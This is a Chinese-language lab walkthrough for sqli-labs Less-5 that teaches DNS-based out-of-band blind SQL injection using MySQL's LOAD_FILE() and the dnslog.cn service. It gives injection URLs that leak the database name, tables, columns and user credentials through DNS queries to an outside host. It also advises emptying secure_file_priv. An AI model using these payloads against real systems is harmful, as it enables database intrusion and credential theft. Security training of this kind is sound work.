1.我们首先要知道什么是DNS: 域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。 域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。 互联网中的地址是数字的IP地址,域名解析的作用主要就是为了便于记忆。(摘自百度百科) 2.要开启sql中的服务: 在配置文件my.ini中 如果secure_file_priv不为空,改为空 如果不存在,加上去并保存,然后重启MySQL服务即可
3.我们可以访问http://www.dnslog.cn/去自己生成一个域名: 我们试着自己去访问http://smile.hravfz.dnslog.cn时: 会在日志上留下访问的记录。
4下面介绍load_file()函数: 关于mysql load_file()函数: 在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。 LOAD_FILE(file_name) 其中file_name是文件的完整路径。 这个函数也可以用来发送dns解析请求,这就是关键 load_file()使用限制: 1.文件必须位于服务器主机上。 2.你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的。 3.文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节。
5。Sqlilab-05s:dns用来获取盲注的结果: 此题目没有回显的信息,为盲注,若是进行手动会耗费大量的时间,可以通过load_file()发送DNS请求去在DNS上留下日志
构造playloads: ? 查询数据库的版本:
127.0.0.1/sqli-labs-master/Less-5/?id=-1’ union select load_file(concat(’\\’,(select database()),’.ahgpow.dnslog.cn\123’)) ,2,3 --+
数据库为security; ? 然后去查表:
127.0.0.1/sqli-labs-master/Less-5/?id=-1’ union select load_file(concat(’\\’,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),’.tdwu21.dnslog.cn\123’)) ,2,3 --+
然而并没有反应,因为域名长度太长,不能超过63位
127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\",(select group_concat(table_name SEPARATOR’-’) from information_schema.tables where table_schema=‘security’ ),".tdwu21.dnslog.cn\xxx.txt")) --+
? 查列:
127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\",(select group_concat(column_name SEPARATOR’-’) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),". tdwu21.dnslog.cn\xxx.txt")) --+
? 查数据:
127.0.0.1/sqli-labs-master/Less-5/?id=1’ and load_file(concat("\\",(select group_concat(username,password) from security.users),". tdwu21.dnslog.cn\xxx.txt")) --+
|